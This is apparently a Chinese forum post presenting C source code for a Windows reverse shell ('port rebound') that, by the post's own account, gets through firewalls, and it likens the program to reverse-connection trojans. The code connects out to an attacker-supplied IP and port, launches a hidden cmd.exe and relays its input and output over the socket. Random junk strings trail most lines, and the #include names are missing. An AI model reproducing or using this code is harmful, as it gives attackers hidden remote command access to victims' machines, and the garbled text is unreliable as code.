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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $y~!ePKh  
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/* ============================== 9l9h*P gt  
Rebound port in Windows NT bd],fNgJ  
By wind,2006/7 dZ'hTzw~  
===============================*/ _&s37A&\  
#include O 4xV "\  
#include 3#7D g't  
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#pragma comment(lib,"wsock32.lib") ~D1.opj3  
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void OutputShell(); _U<sz{6  
SOCKET sClient; NsYeg&>`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v^_OX $=,  
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void main(int argc,char **argv) C"w>U   
{ "NqB_?DT  
WSADATA stWsaData; p:]kH  
int nRet; "]|I;I"b  
SOCKADDR_IN stSaiClient,stSaiServer; 6X{RcX]/  
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if(argc != 3) sG{hUsPa  
{ [hU5ooB  
printf("Useage:\n\rRebound DestIP DestPort\n"); ye Q6\yi  
return; i6F`KF'i&  
} ?rqU&my S  
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WSAStartup(MAKEWORD(2,2),&stWsaData); I6}ine ps  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dY>oj<9  
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stSaiClient.sin_family = AF_INET; NIn#  
stSaiClient.sin_port = htons(0);  Qx,jUL#2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }Xv2I$J  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `8$gaA*  
{  =lIG#{`Q  
printf("Bind Socket Failed!\n"); r@;n \  
return; C^vB&3ghi  
} fba QXM  
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stSaiServer.sin_family = AF_INET; 5"1kfB3v  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G2Zr (b')  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ms8& $  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x O`#a=  
{ UR;F W`  
printf("Connect Error!"); R<>ptwy  
return; }lZfZ?oAz  
} k`H#u,&  
OutputShell(); v6B}ov[Y2  
} Qp9)Rc5  
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void OutputShell() E;7vGGf]  
{ ]mEY/)~7  
char szBuff[1024]; t)Q6A@$:  
SECURITY_ATTRIBUTES stSecurityAttributes; Ra%" +=  
OSVERSIONINFO stOsversionInfo; l*;Isz:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V@6,\1#`|  
STARTUPINFO stStartupInfo; :sD/IM",},  
char *szShell; hiKgV|ZD  
PROCESS_INFORMATION stProcessInformation; BfmSM9  
unsigned long lBytesRead; RtZK2  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4 \*!]5i  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |7G +O+j  
stSecurityAttributes.lpSecurityDescriptor = 0; +AVYypql8K  
stSecurityAttributes.bInheritHandle = TRUE; A1{ 7g<k6  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u_+64c_7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FM\yf ]'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gWcl@|I;\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yEm[C(gZ  
stStartupInfo.wShowWindow = SW_HIDE; ^_dYE]t  
stStartupInfo.hStdInput = hReadPipe; d;GF<bz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iY @MnnX  
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GetVersionEx(&stOsversionInfo); ~@8r-[  
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switch(stOsversionInfo.dwPlatformId) M~ =Bln5  
{ pa1.+~)  
case 1: ZMs$C3  
szShell = "command.com"; t;ZA}>/  
break;  iC]=S}  
default: 5$C4Ui{<E'  
szShell = "cmd.exe"; BJzNh>-#=  
break; 7]}n 0*fe  
} \nQV{J  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q'u^v PO  
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send(sClient,szMsg,77,0); laVqI|0q  
while(1) [v7)xV@c  
{ 5&}~W)"9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iwJeV J  
if(lBytesRead) ^{L/) Xy5  
{ :xdl I`S  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [kfLT::mT  
send(sClient,szBuff,lBytesRead,0); >s3H_X3F  
} e !_+TyI  
else 0 t.'?=  
{ 5#Z>}@/  
lBytesRead=recv(sClient,szBuff,1024,0); )TNAgTmqK  
if(lBytesRead<=0) break; @f<q&K%FJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :_ _z?<?(  
} KW^#DI6tr  
} qY^OO~[  
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return; E3IB> f  
}
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